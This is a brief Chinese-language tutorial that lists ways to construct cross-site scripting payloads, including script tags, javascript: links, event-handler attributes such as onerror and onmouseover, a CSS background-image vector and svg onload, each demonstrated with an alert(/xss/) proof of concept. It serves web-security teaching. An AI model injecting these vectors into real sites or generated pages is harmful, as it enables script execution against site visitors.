XSS的构造

1.利用[<>]构造html/js

如[<script>alert(/xss/)</script>]

2.伪协议

使用javascript:伪协议来构造xss

如[javascript:alert(/xss/);]

可在超链接中填写

<a href="javascript:alert(/xss/)">click me.</a>

也可在<img>标签中.

3.产生自己的事件

在javascript中有许多的"事件驱动",在网页中会发生许多的事件(比如鼠标移动,键盘输入等),JS可以通过对这些事件进行响应,从而我们可以通过事件的触发JS函数,触发XSS.

事件种类

windows事件   对windows对象触发的事件

Form事件        HTML表单内的动作触发事件

keyboard事件 键盘按键触发事件

Mouse事件   由鼠标或类似用户动作触发的事件

Media事件   由多媒体触发的事件

如<img scr='./image.jpg' onmouseover='alert(/xss/)'>

引入一个图片,当鼠标悬停在图片上时,会触发xss代码

如<input type='text' onkeydown='alert(/xss/)'>

单行文本框的键盘点击事件,当点击一个键盘任意一个按键时触发xss代码

其他常用事件

onkeyup-->当键盘松开时触发xss代码

onclick-->点击时触发xss代码

onerror-->文件载入失败时触发xss代码

4.利用css跨站

利用css跨站,几乎不用,在ie6浏览器处可以触发

<div style="backgroud-image:url(javascript:alert(/xss/))">-->实际上也是使用的伪协议构造

5.其他标签以及用法

<svg onload="alert(/xss/)">

<input onfocus=alert(/xss/) autofocus>

05-24 08:46